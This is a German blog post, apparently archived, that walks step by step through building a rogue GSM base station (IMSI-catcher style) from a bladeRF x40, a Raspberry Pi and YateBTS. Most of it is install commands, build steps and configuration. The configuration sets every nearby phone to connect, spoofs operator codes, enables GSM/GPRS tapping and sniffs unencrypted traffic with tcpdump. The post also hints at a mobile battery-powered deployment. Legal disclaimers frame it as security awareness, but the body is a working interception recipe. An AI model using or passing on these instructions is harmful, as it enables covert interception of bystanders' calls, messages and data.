Qgelm

Jedes Handys abhören mit eigener GSM-Station unter 500€

Originalartikel

Backup

<html> <p><strong>Letzen Monat haben wir auf einer Tour durch die Onlineshops eine ganz besondere Hardware gefunden, den <a href=„https://www.nuand.com/blog/product/bladerf-x40/“>BladeRFx40</a>. Ein sehr g&#252;nstiges USB 3.0 BTS &#8220;<b>Base Transceiver Station&#8221;</b> Modul das in Full-Duplex arbeitet, also gleichzeitig senden und empfangen kann. </strong></p><p><em><strong>Disclaim:</strong> Wir schreiben diesen Beitrag <strong>nicht</strong> damit Script-Kiddies und selbsternannte &#8220;Experten&#8221; das Gesetz brechen k&#246;nnen! Wir m&#246;chten lediglich die Angriffsfl&#228;che des GSM-Protokoll aufzeigen und zur Verbesserung der Sicherheit beitragen. Wer ein solches Setup im freien Raum betreibt macht sich strafbar nach &#8220;<strong>&#167;202A StGB &#8211; Aussp&#228;hen von Daten</strong>&#8220;!</em></p>

<h2>Ben&#246;tigte Hardware</h2> <p>Um eine funktionierende BTS zu erstellen brauchen wir folgende Hardware:</p> <ul><li>Ein <a href=„https://www.nuand.com/blog/product/bladerf-x40/“>bladeRF x40</a></li> <li>Zwei <a href=„https://www.sparkfun.com/products/675“>Quad-band Duck Antennen SMA</a></li> <li>Einen Raspberry Pi 3 (Model 2 war in den Tests zu langsam)</li> <li>Micro SD Karte f&#252;r den Raspberry (min. 16GB)</li> </ul><h2/> <h2>Software</h2> <p>Wir beginnen mit der Installation des neusten <a href=„https://www.raspberrypi.org/downloads/raspbian/“>Raspbian</a> auf die SD-Karte. Benutzt das &#8220;little&#8221; Image da wir keine grafische Oberfl&#228;che wollen/ brauchen.&#160; Danach booten wir den Raspberry und konfigurieren alles soweit bis wir per SSH auf den Raspberry zugreifen k&#246;nnen.</p> <p>Als n&#228;chstes installieren wir die ben&#246;tigten Pakete.</p> <pre>sudo apt-get install git apache2 php5 bladerf libbladerf-dev libbladerf0 automake</pre> <p>Das BladeRF wird einfach an einen der USB-Port des Raspberry gesteckt. Jetzt sollte das Blade ansprechbar sein. Der Befehl <strong>dmesg</strong> sollte eine &#228;hnliche Ausgabe wie diese erzeugen:</p> <pre>[ 2332.071675] usb 1-1.3: New USB device found, idVendor=1d50, idProduct=6066&#13; [ 2332.071694] usb 1-1.3: New USB device strings: Mfr=1, Product=2, SerialNumber=3&#13; [ 2332.071707] usb 1-1.3: Product: bladeRF&#13; [ 2332.071720] usb 1-1.3: Manufacturer: Nuand&#13; [ 2332.071732] usb 1-1.3: SerialNumber: b4ef330e19b718f752759b4c14020742&#13; </pre> <p>Nun k&#246;nnen wir die BladeRF-CLI starten.</p> <pre>pi@raspberrypi:~ $ sudo bladeRF-cli -i&#13; bladeRF&gt; version&#13; &#13;

bladeRF-cli version:        0.11.1-git&#13;
libbladeRF version:         0.16.2-git&#13;

&#13;

Firmware version:           1.6.1-git-053fb13-buildomatic&#13;
FPGA version:               0.1.2&#13;

&#13; bladeRF&gt;&#13; </pre> <p><em>WICHTIG: Stellt sicher das ihr die richtige Firmware-Version des FPGA habt. Andere Versionen werden eventuell nicht funktionieren.</em></p> <p><a href=„https://www.evilsocket.net/images/bladerf_firmware_and_fpga.tar.gz“>Hier k&#246;nnt ihr die richtige Version Herunterladen.</a></p> <p>Jetzt installieren wir Yate und YateBTS, zwei open source Software-Projekte die es uns erm&#246;glichen einen BTS zu erstellen. Nun kann man lange experimentieren welche Firmware-Version zu welcher Software-Version des BladeRF passt oder man l&#228;d sich einfach alles aus dem Evilsocket Github Repo:</p> <pre>git clone https://github.com/evilsocket/evilbts.git&#13; cd evilbts</pre> <p>Wir starten den Build beider Pakete mit:</p> <pre>cd yate&#13; ./autogen.sh&#13; ./configure –prefix=/usr/local&#13; make -j4&#13; sudo make install&#13; sudo ldconfig&#13; cd ..&#13; &#13; cd yatebts&#13; ./autogen.sh&#13; ./configure –prefix=/usr/local&#13; make -j4&#13; sudo make install&#13; sudo ldconfig</pre> <p>Das kann ein paar Minuten dauern. Danach ist alles n&#246;tige installiert.</p> <p>Als n&#228;chstes setzen wir einen Symlink f&#252;r die NIB Web UI auf unser Apache &#8220;www&#8221; Verzeichnis.</p> <pre>cd /var/www/html/&#13; sudo ln -s /usr/local/share/yate/nib_web nib</pre> <p>Und geben Schreibrechte auf die Konfigurations-Dateien.</p> <pre>sudo chmod -R a+w /usr/local/etc/yate</pre> <p>Ab jetzt k&#246;nnen wir unseren BTS &#252;ber das Webinterface erreichen.</p> <pre>http://ip-des-raspberry/nib&#13; </pre>

<h2>Konfiguration des BTS</h2> <p>&#214;ffne die Datei <strong>/usr/local/etc/yate/ybts.conf</strong> mit einem Editor wie &#8220;vim&#8221; oder &#8220;nano&#8221; und update die folgenden Werte:</p> <pre>Radio.Band=900&#13; Radio.C0=1000&#13; Identity.MCC=YOUR_COUNTRY_MCC&#13; Identity.MNC=YOUR_OPERATOR_MNC&#13; Identity.ShortName=MyEvilBTS&#13; Radio.PowerManager.MaxAttenDB=35&#13; Radio.PowerManager.MinAttenDB=35</pre> <p>Die genauen Frequenzbereiche sind z.B. <a href=„http://www.mcc-mnc.com/“>HIER</a> aber auch an vielen anderen Stellen im Internet zu finden.</p> <p>Jetzt editieren wir noch die Datei <strong>/usr/local/etc/yate/subscribers.conf</strong></p> <pre>country_code=YOUR_CONTRY_CODE&#13; regexp=.*</pre> <p><em><strong>ACHTUNG!!</strong>: Den Parameter &#8220;regexp&#8221; auf dem Wert .* zu belassen bedeutet ihr wollt das sich <strong>JEDES</strong> GSM-Telefon in der N&#228;he auf eure BTS verbindet! Nat&#252;rlich ist dies <strong>nur in Testumgebungen</strong> wir unserer erlaubt!<br/></em></p>

<p>In der NIB Web UI sollte es nun so &#228;hnlich aussehen:</p> <figure id=„attachment_1105“ class=„wp-caption alignnone“><img class=„wp-image-1105 size-full“ src=„https://antisecurity.de/wp-content/uploads/2017/01/nibui-1.png“ width=„1753“ height=„1240“ srcset=„https://antisecurity.de/wp-content/uploads/2017/01/nibui-1.png 1753w, https://antisecurity.de/wp-content/uploads/2017/01/nibui-1-300x212.png 300w, https://antisecurity.de/wp-content/uploads/2017/01/nibui-1-768x543.png 768w, https://antisecurity.de/wp-content/uploads/2017/01/nibui-1-1024x724.png 1024w“ sizes=„(max-width: 1753px) 100vw, 1753px“/><figcaption class=„wp-caption-text“>Quelle: Evilsocket</figcaption></figure> <h2>Aktivieren des GSM-Tapping</h2> <p>Im Pannel &#8220;Tapping&#8221; k&#246;nnen wir beide Protokolle, GSM und GPRS, aktivieren. Im Grunde werden nun alle GSM-Pakete an des Loopback-Interface &#8220;gebounced&#8221;. Da wir noch keine Verschl&#252;sselung konfiguriert haben k&#246;nnen wir mit einem &#8220;tcpdump&#8221; auf dem Loopback Interface allen Verkehr <strong>Unverschl&#252;sselt </strong>mitlesen.</p> <figure id=„attachment_1106“ class=„wp-caption aligncenter“><img class=„wp-image-1106 size-full“ src=„https://antisecurity.de/wp-content/uploads/2017/01/nibui-2.png“ width=„1756“ height=„939“ srcset=„https://antisecurity.de/wp-content/uploads/2017/01/nibui-2.png 1756w, https://antisecurity.de/wp-content/uploads/2017/01/nibui-2-300x160.png 300w, https://antisecurity.de/wp-content/uploads/2017/01/nibui-2-768x411.png 768w, https://antisecurity.de/wp-content/uploads/2017/01/nibui-2-1024x548.png 1024w“ sizes=„(max-width: 1756px) 100vw, 1756px“/><figcaption class=„wp-caption-text“>Quelle: Evilsocket</figcaption></figure> <h2>Start</h2> <p>Endlich k&#246;nnen wir unseren neuen BTS (mit dem BladeRF angesteckt) starten!</p> <pre>sudo yate -s</pre> <p>Wenn ihr alles richtig gemacht habt sollte eine &#228;hnliche Ausgabe wie diese erscheinen.</p> <pre>Starting MBTS…&#13; Yate engine is initialized and starting up on raspberrypi&#13; RTNETLINK answers: File exists&#13; MBTS ready</pre> <p>Die LED an der Front des BladeRF sollte blinken.</p> <h2/> <h2>Testen</h2> <figure id=„attachment_1107“ class=„wp-caption alignleft“><img class=„wp-image-1107“ src=„https://antisecurity.de/wp-content/uploads/2017/01/gsm-1.jpeg“ width=„268“ height=„546“ srcset=„https://antisecurity.de/wp-content/uploads/2017/01/gsm-1.jpeg 686w, https://antisecurity.de/wp-content/uploads/2017/01/gsm-1-147x300.jpeg 147w, https://antisecurity.de/wp-content/uploads/2017/01/gsm-1-503x1024.jpeg 503w“ sizes=„(max-width: 268px) 100vw, 268px“/><figcaption class=„wp-caption-text“>Quelle: Evilsocket</figcaption></figure><p>Jetzt werden GSM-Ger&#228;te in der N&#228;he versuchen sich zu unserem BTS zu verbinden. Das liegt an einer Design-Schw&#228;che im GSM-Protokoll.</p> <ul><li>Wir k&#246;nnen MCC, MNC und LAC setzen wie wir m&#246;chten und so legitime GSM-BTS in der N&#228;he spoofen.</li> <li>Jedes Ger&#228;t sucht nach einem Signal seines Betreibers und wird sich mit dem st&#228;rksten verbinden &#8211; Ratet welches Signal das st&#228;rkste ist? Richtig, unseres! &#128578;</li> </ul><p>Dieses Bild wurde auf einem Samsung Galaxy S6 (<a href=„https://play.google.com/store/apps/details?id=com.wilysis.cellinfolite“>Network Cell Info Lite App</a>) aufgenommen welches sich automatisch nach 3 Minuten zu unserem BTS verbunden hat.</p> <p>Ab jetzt steht es uns frei zu tun was wir wollen. Wir k&#246;nnen als &#8220;Proxy&#8221; f&#252;r einen legitiemen SMC im Netzwerk agieren (mit einem GSM/4G Dongle). Wir k&#246;nnten allen nicht verschl&#252;sselten GSM-Traffic jedes einzelnen Telefons aufzeichnen, auswerten und speichern.</p> <p>Oder wir k&#246;nnten eine private GSM Station erstellen die von ihren Usern Kostenlos via SIP genutzt werden kann. Die M&#246;glichkeiten sind vielf&#228;ltig. F&#252;r weitere Konfiguration empfehlen wir das <a href=„http://wiki.yatebts.com/index.php/Main_Page“>YateWiki</a>.</p> <p>Nicht zu vergessen was m&#246;glich w&#228;re wenn man den Raspberry und das Board mit einem Battery-Pack ausstattet und das ganze Setup mobil macht. &#128521;</p> <h2><strong>Fazit</strong></h2> <p>Wie wir zeigen wollen sind die M&#246;glichkeiten der Manipulation und des Missbrauchs mit derart schlecht abgesicherten Protokollen sehr vielf&#228;ltig. Warum der GSM-Standard bis heute nicht besser gesichert ist oder gar abgeschafft wurde kann nicht genau erkl&#228;rt werden. Im gesamten GSM-Raum gibt es fl&#228;chendeckend 3G/4G was ein Telefonieren &#252;ber das Internet m&#246;glich macht.</p> <p><em><strong>Wir weisen nochmals auf die rechtliche Lage hin</strong>: Wer dieses Setup im freien Raum betreibt oder plant zu betreiben, macht sich strafbar nach &#8220;&#167;202a StGB Aussp&#228;hen von Daten&#8221;.</em></p> </html>

Cookies helfen bei der Bereitstellung von Inhalten. Diese Website verwendet Cookies. Mit der Nutzung der Website erklären Sie sich damit einverstanden, dass Cookies auf Ihrem Computer gespeichert werden. Außerdem bestätigen Sie, dass Sie unsere Datenschutzerklärung gelesen und verstanden haben. Wenn Sie nicht einverstanden sind, verlassen Sie die Website.Weitere Information